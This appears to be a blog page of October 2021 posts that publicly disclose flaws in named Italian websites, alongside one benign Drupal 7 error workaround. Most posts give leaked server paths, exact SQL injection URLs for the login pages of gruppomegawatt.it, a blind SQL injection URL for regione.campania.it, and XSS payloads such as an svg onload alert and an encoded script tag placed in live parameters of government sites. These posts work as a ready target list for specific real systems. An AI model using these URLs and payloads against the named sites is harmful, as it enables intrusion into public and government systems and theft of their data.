Skip to main content

Posts

Showing posts from October, 2021

gruppomegawatt websites - errors, sql injections, system compromise

  Data Leak /var/www/vhosts/gruppomegawatt.it/elettrocampania.it/ /var/www/vhosts/gruppomegawatt.it/gruppomegawatt.it/ /var/www/vhosts/gruppomegawatt.it/electraweb.it/ ... Sample Page with errors https://archive.md/wip/VcwVh Sql injections are possible. http://clienti.gruppomegawatt.it/loginnew.asp?id=1 http://clienti.gruppomegawatt.it/loginnew.asp?id=2 http://clienti.gruppomegawatt.it/loginnew.asp?id=3 http://clienti.gruppomegawatt.it/loginnew.asp?id=4 http://areadipendenti.gruppomegawatt.it/loginnew.asp?id=1 http://areadipendenti.gruppomegawatt.it/loginnew.asp?id=2 http://areadipendenti.gruppomegawatt.it/loginnew.asp?id=3 http://areadipendenti.gruppomegawatt.it/loginnew.asp?id=4  

[FIX] Drupal (7) - "Fatal error: Class entry requested for an object without PHP class" errors.inc on line 59

Drupal 7 (7.54) Error  this is a workaroud.  "Fatal error: Class entry requested for an object without PHP class" errors.inc on line 59 How to fix: edit /includes/errors.inc     replace         $caller = _drupal_get_last_caller(debug_backtrace());     with         $debugbtrace = debug_backtrace();         $caller = _drupal_get_last_caller($debugbtrace);

ALL *.beniculturali.it websites with Museo&web CMS can be compromised.

        Sample sql error. http://archiviodistatobenevento.beniculturali.it/index.php?it/246/indice-per-piazza&paginate_pageNum=%272 archived: https://archive.md/wip/7xpxt GLIZY framework E_ERROR : notaipiazze.models.notaipiazze: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '-15, 15' at line 1 SELECT * FROM NotaiPiazze WHERE (1=1) ORDER BY Piazza ASC   XSS https://san.beniculturali.it/web/san/documenti-online sample xss <svg/onload=alert('XSS')>

www.regione.campania.it | blind sql injection, xss

http://www.regione.campania.it/normativa/item.php?25a99636d340201ca19723d96c08cf6e=c8be8114d02b6e6ccd84fb45ec1d2bb7&pgCode=G19I231R89&id_doc_type=122222&id_tema='&refresh=on   id_doc_type id_tema (sample error) https://archive.is/k1q6I   XSS in the same parameters http://www.regione.campania.it/normativa/item.php?25a99636d340201ca19723d96c08cf6e=c8be8114d02b6e6ccd84fb45ec1d2bb7&pgCode=G19I231R89&id_doc_type=122222&id_tema=%22%3E%3Cscript%3Ealert(1);%3C/script%3E&refresh=%27on  https://archive.is/jeP9G